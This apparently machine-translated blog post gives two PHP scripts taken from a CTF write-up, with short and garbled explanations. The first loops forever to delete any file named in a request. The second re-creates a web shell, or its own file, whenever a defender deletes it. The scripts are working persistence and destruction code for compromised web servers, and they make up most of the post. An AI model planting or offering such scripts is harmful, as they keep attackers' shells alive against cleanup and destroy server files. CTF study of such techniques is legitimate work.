MENU

Two anti-delete php script

October 8, 2013 • phpcode

Wretched script.{from XDCTF2014 Writeup}

For taking notes...

<?php
ignore_user_abort(true);
set_time_limit(0);
$file = isset($_GET['file']) ? $_GET['file'] : 'test.txt';
 
while (TRUE) {
if (file_exists($file)) {
@unlink($file);
}
usleep(50);
}
?>

Let code stationed in memoryCirculation delete a fileOf course, the same can also be turned into all the files in a directory.

<?php
ignore_user_abort(true);
set_time_limit(0);
$file = __FILE__; // or xxx.php
$shell = isset($_GET['shell']) ? $_GET['shell'] : file_get_contents($file);
 
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>

Let code stationed in memoryCycle judge,Once your file has been deleted, it is re-written.

Archives QR Code
QR Code for this page
Tipping QR Code